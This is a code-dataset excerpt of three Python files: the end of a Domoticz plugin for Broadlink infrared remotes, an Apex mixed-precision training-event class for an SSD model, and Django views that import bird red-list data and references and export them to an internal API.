str(Devices[x].LastLevel))\n return\n\n# Update Device into DB\ndef UpdateDevice(Unit, nValue, sValue):\n # Make sure that the Domoticz device still exists (they can be deleted) before updating it \n if (Unit in Devices):\n if (Devices[Unit].nValue != nValue) or (Devices[Unit].sValue != sValue):\n Devices[Unit].Update(nValue=nValue, sValue=str(sValue))\n Domoticz.Log(\"Update \"+str(nValue)+\":'\"+str(sValue)+\"' (\"+Devices[Unit].Name+\")\")\n return\n\n# generate command to execute and update name in ini file if necessary\ndef genCommand(Unit):\n global loadedCommand, sendCommand, nbUpdate\n \n Domoticz.Log('Generate on Command for learned code stored on unit :' + str(Unit))\n\n path=str(Parameters[\"Mode2\"]) + \"/\" + str(Parameters[\"Key\"]) + \"-\" + str(Parameters[\"HardwareID\"]) + \"-\" + str(Unit) + \".ini\"\n\n if not os.path.exists(path):\n Domoticz.Error(' ini file not found: ' + str(path))\n return\n \n config = configparser.ConfigParser()\n config.read(path)\n loadedCommand = config.get(\"LearnedCode\", str(Unit))\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(\" Code loaded : \" + loadedCommand) \n sendCommand = loadedCommand\n if broadlinkConnect():\n send()\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(' Command line : ' + '\"' + Parameters['HomeFolder'] + 'plugin_send.py' + '\" ' + path + ' ')\n\n UpdateDevice(Unit,1,'On-'+str(nbUpdate))\n nbUpdate +=1\n\n try:\n if not (Devices[Unit].Name == config.get(\"DEFAULT\",\"customname\")):\n\n config.set('DEFAULT','customname',Devices[Unit].Name)\n \n try:\n with open(path, 'w') as configfile:\n config.write(configfile) \n except IOError:\n Domoticz.Error('Error updating config file')\n raise\n except:\n Domoticz.Error('Error updating config file, customname param missing')\n raise\n\n return\n\n# save learned/imported code and create Domoticz device\ndef save():\n global path, learnedCommand, Unit, numberDev, custom\n\n numberDev +=1 \n path=str(Parameters[\"Mode2\"]) + \"/\" + str(Parameters[\"Key\"]) + \"-\" + str(Parameters[\"HardwareID\"]) + \"-\" + str(numberDev) + \".ini\"\n\n if os.path.exists(path):\n Domoticz.Error('File exist : ' + path) \n return False\n else:\n try:\n create_config(path,str(numberDev),learnedCommand,custom)\n except:\n Domoticz.Error('Not able to create : ' + path)\n return False\n try:\n Domoticz.Device(Name=str(Parameters[\"HardwareID\"])+\"-\" + str(numberDev)+ \" \" + custom, Unit=numberDev, TypeName=\"Selector Switch\", Type=244, Switchtype=9, Subtype=73).Create()\n except:\n Domoticz.Error('Not able to create device')\n return False\n \n \n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(' Command line : ' + '\"' + Parameters['HomeFolder'] + 'plugin_send.py' + '\" ' + path + ' ')\n \n return True\n\ndef reset():\n global learnedCommand\n \n UpdateDevice(1, 0, 'Off') \n learnedCommand = \"None\" \n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(\"Reset learned command\")\n \n return True\n\n# discover Broadlink device on the Network\ndef Discover():\n global brodevices, broip\n\n Domoticz.Log(\"All plugin system is on pause for 5s...\")\n brodevices = broadlink.discover(timeout=5)\n Domoticz.Log(\"Found \" + str(len(brodevices )) + \" broadlink devices\")\n\n if str(len(brodevices )) == 0:\n return False\n \n for index, item in enumerate(brodevices):\n\n brodevices[index].auth()\n\n broip = brodevices[index].host\n broip = str(broip)\n Domoticz.Log( \"Device \" + str(index + 1) +\" Host address = \" + broip[1:19] + \" \")\n macadd = ''.join(format(x, '02x') for x in brodevices[index].mac[::-1])\n macadd = str(macadd) \n Domoticz.Log( \"Device \" + str(index + 1) +\" MAC address = \" + macadd + \" \")\n\n return True\n\n# Put Broadlink on Learn , packet received converted to Hex\ndef learn():\n global learnedCommand\n \n broadlinkConnect()\n\n Domoticz.Log(\"All plugin system is on pause for 5s...\")\n Domoticz.Log(\"When Broadlink led is lit press the button on your remote within 5 seconds\")\n \n device.enter_learning()\n\n time.sleep(5) \n\n ir_packet = device.check_data()\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(str(ir_packet))\n \n if str(ir_packet) == \"None\":\n Domoticz.Log('Command not received')\n learnedCommand= \"None\"\n UpdateDevice(1, 0, ' ')\n return False\n\n learnedCommand=(codecs.encode(ir_packet, 'hex_codec')).decode('utf-8')\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(learnedCommand)\n \n Domoticz.Log( \"Code stored in memory\" )\n UpdateDevice(1, 1, '10')\n\n return True\n\n# send Hex command\ndef send():\n global sendCommand\n\n if not sendCommand:\n Domoticz.Error('Nothing to send')\n return False\n \n sendCommand = bytes.fromhex(sendCommand) \n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(str(sendCommand))\n\n try:\n device.send_data(sendCommand)\n Domoticz.Log( \"Code Sent....\")\n except:\n Domoticz.Error( \"Code Sent WARNING....Probably timeout\")\n return False\n\n return True\n\n#Create a config file\ndef create_config(path,Unit,learnedCommand,custom): \n\n config = configparser.ConfigParser()\n config['DEFAULT'] = { 'PluginKey' : Parameters[\"Key\"],\n 'PluginName' : Parameters[\"Name\"],\n 'PluginFolder' : Parameters[\"HomeFolder\"],\n 'HardwareID' : Parameters[\"HardwareID\"],\n 'Unit' : Unit,\n 'CustomName' : custom\n }\n\n config['Device'] = { 'Host' : Parameters[\"Address\"],\n 'Mac' : Parameters[\"Mode1\"]\n }\n config['LearnedCode'] = {} \n UniteCode = config['LearnedCode']\n UniteCode[str(Unit)] = learnedCommand\n try:\n with open(path, 'w') as configfile:\n config.write(configfile)\n except IOError:\n Domoticz.Error('Error create config file')\n raise\n \n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log( \"ini file creation....\" + path) \n\n return\n\n# connect to Broadlink\ndef broadlinkConnect():\n global device, isConnected\n\n try:\n device = broadlink.rm(host=(Parameters[\"Address\"],80), mac=bytearray.fromhex(Parameters[\"Mode1\"]))\n device.auth()\n device.host\n isConnected = True\n Domoticz.Log( \"Connected to Broadlink device.\") \n except:\n Domoticz.Error( \"Error Connecting to Broadlink device....\")\n isConnected = False\n return False\n\n return True\n\n# get temperature\ndef checkTemp():\n global temp, device\n\n try:\n temp=device.check_temperature()\n except:\n Domoticz.Error( \"Error getting temperature data from Broadlink device....Timeout\")\n return False\n\n if temp > 60:\n return False\n\n return True\n\n# Start Web server for Transfert\ndef startWeb():\n\n if sys.platform.startswith('linux'):\n # linux specific code here\n cmdFile = Parameters[\"HomeFolder\"] + \"plugin_http.sh\"\n elif sys.platform.startswith('darwin'):\n # mac\n cmdFile = Parameters[\"HomeFolder\"] + \"plugin_http.sh\"\n elif sys.platform.startswith('win32'):\n # win specific\n cmdFile = '\"' + Parameters[\"HomeFolder\"] + 'plugin_http.cmd' + '\"' \n\n commandtoexecute = cmdFile + \" 0.0.0.0 \" + Parameters[\"Mode5\"] + \" \" + Parameters[\"Mode2\"] \n\n try:\n subprocess.check_call(commandtoexecute, shell=True, timeout=5) \n except subprocess.CalledProcessError as e:\n Domoticz.Error(str(e.returncode))\n Domoticz.Error(str(e.cmd))\n Domoticz.Error(str(e.output))\n return False\n\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(\"Subprocess \" + commandtoexecute + \" launched...\") \n\n return True\n\n# check Webserver is running, if not put device Off\ndef isAlive():\n global isRunning\n\n socket.setdefaulttimeout(5) \n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n try:\n s.connect(('127.0.0.1', int(Parameters[\"Mode5\"])))\n isRunning = True\n s.sendall(b\"GET /\") \n except socket.error as e:\n isRunning = False\n UpdateDevice(255,0,'Off') \n \n s.close()\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(\"Web isAlive status :\" +str(isRunning))\n \n return\n\n#import json files and transfrom to ini file and hex imported code\ndef createIniImport():\n global learnedCommand, custom\n\n import json\n \n path=Parameters[\"Mode2\"] + \"/import/\"\n\n try:\n with open(path+\"jsonSubIr\") as remote_name: \n data_remote = json.load(remote_name)\n except ValueError: # includes simplejson.decoder.JSONDecodeError\n return False\n\n try:\n with open(path+\"jsonButton\") as button_name: \n data_button = json.load(button_name)\n except ValueError: # includes simplejson.decoder.JSONDecodeError\n return False\n\n try:\n with open(path+\"jsonIrCode\") as code_name: \n data_code = json.load(code_name)\n except ValueError: # includes simplejson.decoder.JSONDecodeError\n return False\n \n recCode = open(path+\"simulate.txt\", 'w')\n CRLF=\"\\n\"\n\n for i in range(0, len(data_code)): \n button = data_code[i]['buttonId']\n for j in range(0, len(data_button)):\n if data_button[j]['id'] == button:\n numName = data_button[j]['subIRId']\n buttonName = data_button[j]['name']\n for k in range(0, len(data_remote)): \n if data_remote[k]['id'] == numName:\n name = data_remote[k]['name']\n break\n else:\n name = \"unknown\"\n break\n else:\n buttonName = \"unknown\"\n\n code = ''.join('%02x' % (i & 0xff) for i in data_code[i]['code'])\n result = \"Numrec : \" + str(i) + \" Button number: \" + str(button ) + \" \" + \"Number name : \" + str(numName) + \" Name : \" + name + \" \" + buttonName + \" Code : \" + str(code) \n custom = name + \" \" + buttonName \n path = Parameters[\"Mode2\"] + \"/import/\" + \"IMP-\" + str(i) + \".ini\" \n\n create_config(path,i,code,custom)\n recCode.writelines(result+CRLF)\n\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(result)\n \n filelink = \"file://\" + Parameters[\"Mode2\"] + \"/import/\" + \"simulate.txt\"\n Domoticz.Log(\"Number of devices to create : \" + str( i + 1 ))\n Domoticz.Log(\"You need to select Import for that\")\n Domoticz.Log('Simulate.txt file has been created with all codes on it. Click here to see the path')\n\n return True\n\n# if clear is True we will erase all files if False we will create devices and erase ini files\ndef manageIniImport(clear):\n global custom, learnedCommand\n\n import glob\n import errno\n\n path = Parameters[\"Mode2\"] + \"/import/*.ini\"\n files = glob.glob(path) \n\n if not files:\n Domoticz.Log(\"No ini files found\")\n if clear == False:\n return False\n else:\n for name in files: # 'file' is a builtin type, 'name' is a less-ambiguous variable name.\n if clear == False:\n try:\n with open(name) as f: # No need to specify 'r': this is the default. \n config = configparser.ConfigParser()\n config.read(name)\n UnitNumber=config.get(\"DEFAULT\", \"unit\")\n custom=config.get(\"DEFAULT\", \"customname\")\n learnedCommand = config.get(\"LearnedCode\", str(UnitNumber))\n createDev() \n except IOError as exc:\n if exc.errno != errno.EISDIR: # Do not fail if a directory is found, just ignore it.\n raise # Propagate other kinds of IOErro\n os.remove(name)\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(name + \" removed\") \n\n if clear == True:\n path = Parameters[\"Mode2\"] + \"/import/json*\"\n files = glob.glob(path) \n if not files:\n Domoticz.Log(\"No json files found\") \n return False\n else:\n for name in files:\n os.remove(name)\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Log(name + \" removed\")\n\n return True\n\ndef createDev():\n \n if not save() and numberDev < 256:\n createDev()\n\n return\n","sub_path":"BroadlinkRM2/plugin-v2-0-0.py","file_name":"plugin-v2-0-0.py","file_ext":"py","file_size_in_byte":22798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"458340421","text":"import os\nfrom typing import Tuple\n\nimport torch\nimport apex\nfrom torch.cuda.amp import GradScaler\nfrom torch.optim import Optimizer\n\nfrom train.event.base import BaseTrainingEventInterface\nfrom train.event.base import BatchType, SSD_MODEL\nfrom train.training_state import TrainingState\n\nfrom converter import convert_model\n\n\nclass ApexTrainingEvent(BaseTrainingEventInterface):\n\n def __init__(self, config):\n super(ApexTrainingEvent, self).__init__(config)\n self.model = None\n self.optimizer = None\n self.overflow_buf = None\n\n def save_checkpoint(self, path: str, training_state: TrainingState):\n torch.save({\n \"model\": self.model.state_dict(),\n \"optimizer\": self.optimizer.state_dict(),\n \"amp\": apex.amp.state_dict(),\n \"master params\": list(apex.amp.master_params(self.optimizer)),\n \"epoch\": training_state.epoch,\n \"iter_num\": training_state.iter_num,\n }, \"{}/epoch{}_{}.pt\".format(path, training_state.epoch, round(training_state.eval_ap, 5)))\n\n def load_checkpoint(self, checkpoint):\n self.model.load_state_dict(checkpoint[\"model\"], strict=True)\n self.optimizer.load_state_dict(checkpoint[\"optimizer\"])\n self.config.iteration = checkpoint[\"iter_num\"]\n self.config.epoch = checkpoint[\"epoch\"]\n if checkpoint.get(\"amp\", None):\n apex.amp.load_state_dict(checkpoint[\"amp\"])\n if checkpoint.get(\"master params\", None):\n for param, saved_param in zip(apex.amp.master_params(self.optimizer), checkpoint[\"master params\"]):\n param.data.copy_(saved_param.data)\n\n def on_init_start(self):\n pass\n\n def convert_model(self, model: SSD_MODEL) -> SSD_MODEL:\n self.model = convert_model(model, self.config)\n return self.model\n\n def create_optimizer(self, model: SSD_MODEL) -> Optimizer:\n config = self.config\n base_lr = 2.5e-3\n requested_lr_multiplier = config.learning_rate / base_lr\n adjusted_multiplier = max(1, round(requested_lr_multiplier * config.train_batch_size * config.n_gpu / 32))\n\n current_lr = base_lr * adjusted_multiplier\n current_weight_decay = config.weight_decay_rate\n\n self.optimizer = apex.optimizers.FusedSGD(model.parameters(),\n lr=current_lr,\n momentum=0.9,\n weight_decay=current_weight_decay)\n return self.optimizer\n\n def model_to_fp16(self, model: SSD_MODEL, optimizer: Optimizer) -> Tuple[SSD_MODEL, Optimizer]:\n self.model, self.optimizer = apex.amp.initialize(model, optimizer, opt_level=\"O{}\".format(self.config.opt_level), loss_scale=128.)\n return self.model, self.optimizer\n\n def model_to_ddp(self, model: SSD_MODEL) -> SSD_MODEL:\n config = self.config\n if config.distributed:\n if config.delay_allreduce:\n print(config.local_rank, \"Delaying allreduces to the end of backward()\")\n self.model = apex.parallel.DistributedDataParallel(model,\n gradient_predivide_factor=config.n_gpu / 8.0,\n delay_allreduce=config.delay_allreduce,\n retain_allreduce_buffers=config.fp16)\n else:\n self.model = model\n return self.model\n\n def on_step_begin(self, step: int):\n pass\n\n def on_step_end(self, step: int):\n pass\n\n def on_backward(self, step: int, loss: torch.Tensor, optimizer: Optimizer, grad_scaler: GradScaler=None):\n with apex.amp.scale_loss(loss, optimizer) as scaled_loss:\n scaled_loss.backward()\n update_step = step % self.config.gradient_accumulation_steps == 0\n if update_step:\n self.update_model_params(optimizer, grad_scaler)\n\n def update_model_params(self, optimizer: Optimizer, grad_scaler: GradScaler=None):\n optimizer.step()\n for param in self.model.parameters():\n param.grad = None\n\n\n\n","sub_path":"cv/detection/ssd/pytorch/nvidia/config/training_event.py","file_name":"training_event.py","file_ext":"py","file_size_in_byte":4065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"31578372","text":"from django.shortcuts import render\nfrom bs4 import BeautifulSoup\nfrom website import models\nimport redlist.settings as settings\nimport os\nfrom django.views.generic.list import ListView\nfrom django.views.generic import DetailView\nimport json\nimport requests\nimport time\nimport re\nimport datetime\nimport bibtexparser\nfrom bibtexparser.bwriter import BibTexWriter\nfrom bibtexparser.bibdatabase import BibDatabase\n\nclass SpeciesDetail(DetailView):\n model = models.Species\n context_object_name = 'bird'\n\n\nclass Index(ListView):\n model = models.Species\n context_object_name = 'birds'\n\n \ndef get_reference_parts(authority):\n # Splits up an authority string formatted in the standard way e.g. (Barnard, 1937) into year and author\n bracketed = '(' in authority\n authority = re.sub('[()]', '', authority)\n authority = authority.split(',')\n year = authority[-1].strip()\n authors = authority[0]\n author_list = []\n for surname in authors.split('&'):\n author = get_or_create_author(surname=surname)\n author_list.append(author)\n \n \ndef get_api_info(api_url):\n time_delay = 0\n r = False\n while not r:\n try:\n time.sleep(time_delay)\n r = requests.get(api_url)\n except ConnectionError:\n # Add 5 seconds onto the time delay\n time_delay += 15\n # Print out so we can monitor it\n print('Timed out, trying again in ' + time_delay + ' seconds')\n return r \n\n \ndef create_authors(author_string):\n \"\"\"\n Splits up an author string formatted as e.g. Braack, H.H. and Bishop, P.J. and Knoepfer, D.\n Creates Person objects for each, and returns them in a list\n :param author_string:\n :return:\n \"\"\"\n # Remove the 'and' so that we can apply a simple regex to split up the authors\n author_list = author_string.split(' and ')\n people = []\n for author in author_list:\n name_parts = author.split(',')\n if len(name_parts) != 2:\n surname = name_parts[0].strip()\n initials = ''\n else: \n surname = name_parts[0].strip()\n initials = name_parts[1].strip()\n\n # Try and get all possible people in the database first\n p = models.Person.objects.filter(last=surname, middle_initials=initials).first()\n\n # If there's nobody there then try get same surname and no initials, it's probably the same person\n # Someone can split it out later manually if it's not\n if p is None:\n p = models.Person.objects.filter(last=surname, middle_initials__isnull=True, middle_initials__exact='').first()\n if p is None:\n # Otherwise if we can't find anyone with the same surname make a new person\n p = models.Person(last=surname, middle_initials=initials)\n else:\n p.middle_initials = initials\n p.save()\n\n people.append(p)\n return people\n\n \n\ndef import_refs(request):\n file_url = os.path.join(settings.BASE_DIR, 'bibtex-for-import.txt')\n with open(file_url, 'r', encoding='utf-8') as bibtex_file:\n bibtex_str = bibtex_file.read()\n bib_db = bibtexparser.loads(bibtex_str)\n empty_db = BibDatabase()\n writer = BibTexWriter()\n for bib_entry in bib_db.entries:\n if 'title' not in bib_entry or 'year' not in bib_entry or 'author' not in bib_entry or len(bib_entry['year']) > 4:\n continue\n empty_db.entries = [bib_entry]\n bibtex = writer.write(empty_db)\n ref, created = models.Reference.objects.get_or_create(bibtex=bibtex, year=bib_entry['year'], title=bib_entry['title'])\n author_list = create_authors(bib_entry['author'])\n for author in author_list:\n authorship = models.Authorship(reference=ref, person=author)\n authorship.save()\n # import pdb; pdb.set_trace()\n\n\ndef export_data(request):\n redlist_cat_mapping = {\n 'regionally extinct': 'EX',\n 'critically endangered': 'CR',\n 'endangered': 'EN',\n 'vulnerable': 'VU',\n 'near threatened': 'NT',\n 'least concern': 'LC',\n 'data deficient': 'DD',\n 'not listed': 'NE',\n 'not set': 'NE',\n }\n chordata = 6 # ALERT! Hardcoding! CHANGE THIS!\n english = 1\n \n # Get list of ranks from input db\n base_url = 'http://172.16.6.250:8000/'\n ranks = requests.get(base_url + 'taxa/api/rank-list/?format=json').json()\n ranks = {r['name']: r['id'] for r in ranks['results']}\n\n gbif_url = 'http://api.gbif.org/v1/species?name='\n create_taxon_api = base_url + 'taxa/api/taxon-write/?format=json'\n create_descrip_api = base_url + 'taxa/api/description-format-write/?format=json'\n create_info_api = base_url + 'taxa/api/info-write/?format=json'\n create_ass_api = base_url + 'assessment/api/assessment-write/?format=json'\n create_contrib_api = base_url + 'assessment/api/contribution-write/?format=json'\n create_person_api = base_url + 'api/people/?format=json'\n create_cn_api = base_url + 'taxa/api/cn-write/?format=json'\n create_ref_api = base_url + 'biblio/api/post-bibtex/?format=json'\n sps = models.Species.objects.all()\n \n aves = {'name': 'Aves', 'parent': chordata, 'rank': ranks['Class']}\n r_aves = requests.post(create_taxon_api, data=aves)\n print(r_aves)\n r_aves_cn = requests.post(create_cn_api, data={'name': 'Birds', 'language': english, 'taxon': r_aves.json()['id']})\n print(r_aves_cn)\n r_aves_id = r_aves.json()['id']\n \n for sp in sps: \n # Get taxa info from gbif\n r = get_api_info(gbif_url + sp.scientific_name)\n results = r.json()['results']\n if len(results) < 1:\n if sp.scientific_name == 'Camphetera notata':\n top_result = {'order': 'Piciformes', 'genus': 'Campethera'}\n else: \n import pdb; pdb.set_trace()\n else: \n top_result = results[0]\n \n order = {'name': top_result['order'], 'parent': r_aves_id, 'rank': ranks['Order']}\n r_order = requests.post(create_taxon_api, data=order)\n print(r_order)\n \n family = {'name': sp.family, 'parent': r_order.json()['id'], 'rank': ranks['Family']}\n r_family = requests.post(create_taxon_api, data=order)\n print(r_family)\n \n genus = {'name': top_result['genus'], 'parent': r_family.json()['id'], 'rank': ranks['Genus']}\n r_genus = requests.post(create_taxon_api, data=genus)\n print(r_genus)\n \n species = {'name': sp.scientific_name, 'parent': r_genus.json()['id'], 'rank': ranks['Species'], 'notes': sp.taxonomy}\n r_species = requests.post(create_taxon_api, data=species)\n sp_id = r_species.json()['id']\n print(r_species)\n r_sp_cn = requests.post(create_cn_api, data={'name': sp.common_name, 'language': english, 'taxon': r_species.json()['id']})\n print(r_sp_cn)\n \n descrip = requests.post(create_descrip_api, data={'author_string': sp.author, 'taxon_pk': sp_id})\n print(descrip)\n \n info = {'taxon': sp_id, 'trophic': sp.ecology, 'diagnostics': sp.identification}\n info = requests.post(create_info_api, data=info)\n print(info)\n # Not yet populated threats habitats references\n \n assessment = {'taxon': sp_id, 'scope': 'N', 'date': datetime.date(2015, 1, 1), \n 'population_trend_narrative': sp.population_trend_justification, 'population_narrative': sp.population_justification,\n 'rationale': sp.justification, 'distribution_narrative': sp.distribution, 'notes': sp.inclusion_reason, \n 'threats_narrative': sp.threats_narrative, 'change_rationale': sp.status_change_reason}\n \n match = re.match(r'^([a-z]+\\s*[a-z]*)\\s*\\*?\\s*\\[([^\\]]+)\\]$', sp.regional_status_2015, re.IGNORECASE)\n if match: \n assessment['redlist_category'] = redlist_cat_mapping[match.group(1).lower().strip()]\n assessment['redlist_criteria'] = match.group(2)\n else:\n print(match)\n import pdb; pdb.set_trace()\n assessment['conservation_narrative'] = 'Underway ' + sp.conservation_underway + 'Proposed ' + sp.conservation_proposed\n assessment['research_narrative'] = sp.research_priorities\n assessment['temp_field'] = {'Population size': sp.population_size, 'Distribution size': sp.distribution_size, 'Regional endemic': sp.regional_endemic}\n ass = requests.post(create_ass_api, data=assessment)\n print(ass)\n \n for contrib in sp.contribution_set.all():\n person = {'first': contrib.person.first, 'surname': contrib.person.last, 'initials': contrib.person.middle_initials}\n person = requests.post(create_person_api, data=person)\n contrib = requests.post(create_contrib_api, data={'person': person.json()['id'], 'type': contrib.type, 'weight': contrib.weight, 'assessment': ass.json()['id']})\n print(contrib)\n \n for reference in sp.references.all():\n #authors = []\n #for person in reference.authors:\n # person = {'first': person.first, 'surname': person.last, 'initials': person.middle_initials}\n # person = requests.post(create_person_api, data=person)\n requests.post(create_ref_api, data={'assessment_id': ass.json()['id'], 'bibtex': reference.bibtex}) \n \n #if not ass.ok or not contrib.ok or not info.ok or not descrip.ok or not r_sp_cn.ok or not r_species.ok or not r_family.ok or not r_genus.ok or not r_order.ok:\n # import pdb; pdb.set_trace()\n #export = {'name': \n \n\ndef split_data(request):\n file_url = os.path.join(settings.BASE_DIR, 'habitats.txt')\n with open(file_url, 'r', encoding='utf-8') as f:\n content = f.readlines()\n\n for c in content:\n models.Habitat.objects.get_or_create(name=c.strip())\n\n file_url = os.path.join(settings.BASE_DIR, 'threats.txt')\n with open(file_url, 'r', encoding='utf-8') as f:\n content = f.readlines()\n\n for c in content:\n models.Threat.objects.get_or_create(name=c.strip())\n\n\n\n return\n\n def get_or_create_person_from_name(name):\n names = val.split(' ')\n person_args = {'first': names[0].strip(), 'last': names[-1]}\n if len(names) > 2:\n person_args['middle_initials'] = names[1]\n return models.Person.objects.get_or_create(**person_args)\n\n birds = models.Species.objects.all()\n models.Person.objects.all().delete()\n\n for bird in birds:\n # Remove all previously set\n bird.contributors.clear()\n\n # Remove whitespace duplicates\n bird.assessor = ' '.join(bird.assessor.split())\n bird.reviewer = ' '.join(bird.reviewer.split())\n\n # Fix the concatenation problem\n bird.assessor = bird.assessor.replace(' and ', ',')\n bird.assessor = bird.assessor.replace(', ', ',')\n bird.reviewer = bird.reviewer.replace(' and ', ',')\n bird.reviewer = bird.reviewer.replace(', ', ',')\n\n # Iterate over the assessors and create them if necessary\n assessors = bird.assessor.split(',')\n for idx, val in enumerate(assessors):\n person, created = get_or_create_person_from_name(val.split(' '))\n c = models.Contribution(person=person, species=bird, weight=idx, type=models.Contribution.ASSESSOR)\n c.save()\n\n # Iterate over the reviewers and create them if necessary\n reviewers = bird.reviewer.split(',')\n for idx, val in enumerate(reviewers):\n person, created = get_or_create_person_from_name(val.split(' '))\n c = models.Contribution(person=person, species=bird, weight=idx, type=models.Contribution.REVIEWER)\n c.save()\n\n # Save the bird!\n bird.save()\n\n import pdb; pdb.set_trace()\n\n \ndef import_data(request):\n file_url = os.path.join(settings.BASE_DIR, 'book.html')\n #f = open(file_url, 'r', encoding='latin-1')\n f = open(file_url, 'r', encoding='utf-8')\n html = f.read()\n f.close()\n\n # Soupify\n soup = BeautifulSoup(html)\n soup.encode('utf-8')\n\n # Birds list\n birds = []\n facts_titles_list = []\n\n # Retrieve all divs once and populate birds with their names. We have to do this to start as everything is jumbled\n divs = soup.find_all('div')\n for div in divs:\n ps = div.select('p')\n hs = div.select('h3')\n\n if len(ps) == 2 and len(hs) == 0:\n if div.has_attr('class') and 'redcredits' not in div['class']:\n bird = models.Species(scientific_name=ps[1].text.strip(), common_name=ps[0].text.strip())\n birds.append(bird)\n\n # Get small grey block fact titles\n if len(ps) > 5 and ps[0].text.strip().lower() == '2015 regional status':\n fact = []\n for p in ps:\n fact.append(p.text.strip().lower())\n facts_titles_list.append(fact)\n\n # Small grey block fact text must be matched up to headings\n counter = 0\n for div in divs:\n ps = div.select('p')\n hs = div.select('h3')\n\n # Get facts to go with fact titles\n # ps[0].text.strip()[-1:] == ']'\n if len(ps) > 4 \\\n and len(hs) == 0 \\\n and ps[0].text.strip().lower() != 'research priorities and questions' \\\n and ps[0].text.strip().lower() != '2015 regional status' \\\n and ps[0].text.strip().lower() != 'justification'\\\n and len(ps[0].text.strip().split(' ')) < 15:\n print(counter)\n try:\n bird = birds[counter]\n for j, title in enumerate(facts_titles_list[counter]):\n t = ps[j].text.strip(' ')\n if title == '2015 regional status':\n bird.regional_status_2015 = t\n elif title == '2010 regional status':\n bird.regional_status_2010 = t\n elif title == '2000 regional status':\n bird.regional_status_2000 = t\n elif title == '2015 global status':\n bird.global_status_2015 = t\n elif title == 'status change reason':\n bird.status_change_reason = t\n elif title == 'family name':\n bird.family = t\n elif title == 'species name author':\n bird.author = t\n elif title == 'population size':\n bird.population_size = t\n elif title == 'distribution size (aoo)':\n bird.distribution_size = t\n elif title == 'regional endemic':\n bird.regional_endemic = t\n else:\n print(title + ' not found, value = ' + t)\n\n counter += 1\n except IndexError:\n print(len(ps))\n print(len(facts_titles_list[counter]))\n import pdb\n pdb.set_trace()\n\n # Main body of text\n counter = 0\n for div in divs:\n hs = div.select('h2')\n # Check to make sure we're in the right div, it must have h2s\n if len(hs) > 0:\n # Load the bird we're on\n bird = birds[counter]\n\n # For each of the tags...\n current_heading = None\n contents = ''\n\n for tag in div.children:\n # We have reached a new heading! Time to put the content in and move on\n if tag.name == 'h2':\n if current_heading is None:\n pass\n elif current_heading == 'conservation measures underway':\n bird.conservation_underway = contents\n elif current_heading == 'distribution':\n bird.distribution = contents\n elif current_heading == 'ecology':\n bird.ecology = contents\n elif current_heading == 'identification':\n bird.identification = contents\n elif current_heading == 'justification':\n bird.justification = contents\n elif current_heading == 'population justification':\n bird.population_justification = contents\n elif current_heading == 'reason for inclusion in the assessment' or current_heading == 'reasons for inclusion in the assessment':\n bird.inclusion_reason = contents\n elif current_heading == 'taxonomy':\n bird.taxonomy = contents\n elif current_heading == 'threats':\n bird.threats = contents\n elif current_heading == 'trend justification' or current_heading == 'population trend justification':\n bird.population_trend_justification = contents\n else:\n print('Unknown h2 ' + tag.text)\n import pdb; pdb.set_trace()\n\n # Reset heading and contents\n current_heading = tag.text.strip().lower()\n contents = ''\n elif tag.name == 'p':\n contents += '' + tag.text + '
'\n\n # Don't forget the last heading, it's not caught by our loop up above\n if current_heading == 'conservation measures proposed':\n bird.conservation_proposed = contents\n\n # Increment counter\n counter += 1\n\n # Research priorities\n counter = 0\n for div in divs:\n ps = div.select('p')\n hs = div.select('h3')\n if len(hs) > 0:\n bird = birds[counter]\n content = ''\n for p in ps:\n content += '' + p.text + '
'\n bird.research_priorities = content\n counter += 1\n\n # Images\n '''\n counter = 0\n imgs = soup.find_all('img')\n img_files_url = os.path.join(settings.BASE_DIR, 'website', 'static', 'distribution_maps')\n for img in imgs:\n if 'finalX' in img['src']:\n bird = birds[counter]\n img_name = img['src'].rsplit('/', 1)[-1]\n old_img_url = os.path.join(img_files_url, img_name)\n new_img_url = os.path.join(img_files_url, bird.scientific_name.lower().replace(' ', '_') + '.png')\n os.rename(old_img_url, new_img_url)\n counter += 1'''\n\n # Assessor and reviewers\n counter = 0\n redcredits = soup.find_all('div', class_='redcredits')\n for div in redcredits:\n bird = birds[counter]\n ps = div.select('p')\n for p in ps:\n if 'Assessor' in p.text:\n t = p.text.replace('Assessors: ', '')\n t = t.replace('Assessor: ', '')\n bird.assessors = t\n if 'Reviewer' in p.text:\n t = p.text.replace('Reviewers: ', '')\n t = t.replace('Reviewer: ', '')\n bird.reviewers = t\n counter += 1\n\n for bird in birds:\n try:\n bird.save()\n except:\n import pdb; pdb.set_trace()\n\n import pdb\n pdb.set_trace()\n return render(request, 'website/index.html', {})\n\n","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":19581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
